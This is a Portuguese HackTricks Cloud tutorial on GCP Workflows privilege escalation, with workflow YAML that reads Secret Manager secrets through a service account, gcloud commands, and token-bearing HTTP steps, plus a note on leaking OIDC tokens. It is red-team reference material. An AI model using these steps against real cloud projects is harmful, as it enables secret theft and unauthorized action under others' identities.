GCP - Workflows Privesc
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Workflows
Informação Básica:
workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)
Pelo que sei, não é possível obter um shell com acesso ao endpoint de metadata contendo as credenciais da SA anexada a um Workflow. Entretanto, é possível abusar das permissões da SA adicionando as ações a serem executadas dentro do Workflow.
É possível encontrar a documentação dos conectores. Por exemplo, esta é a page of the Secretmanager connector. Na barra lateral é possível encontrar vários outros conectores.
E aqui você pode encontrar um exemplo de um conector que imprime um segredo:
Configuração YAML do Workflow para acessar segredos
```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```Atualização pela CLI:
Implantar e executar workflows pela CLI
```bash gcloud workflows deploySe você não tiver acesso web, é possível acionar e ver a execução de um Workflow com:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
Caution
Você também pode verificar a saída de execuções anteriores para procurar informações sensíveis
Observe que mesmo se você receber um erro como PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... porque não possui essa permissão, o workflow foi gerado.
Leak OIDC token (and OAuth?)
De acordo com a documentação é possível usar passos do workflow que enviarão uma requisição HTTP com o token OAuth ou OIDC. No entanto, assim como no caso do Cloud Scheduler, a requisição HTTP com o token OAuth deve ser para o host .googleapis.com.
Caution
Portanto, é possível leak o token OIDC indicando um endpoint HTTP controlado pelo usuário, mas para leak o token OAuth você precisaria de um bypass para essa proteção. Entretanto, você ainda pode contatar qualquer GCP api para executar ações em nome do SA usando conectores ou requisições HTTP com o token OAuth.
Oauth
Requisição HTTP do workflow com token OAuth
```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```Requisição HTTP do Workflow com token OIDC
```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```Com essa permissão, em vez de workflows.workflows.create, é possível atualizar um workflow já existente e realizar os mesmos ataques.
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

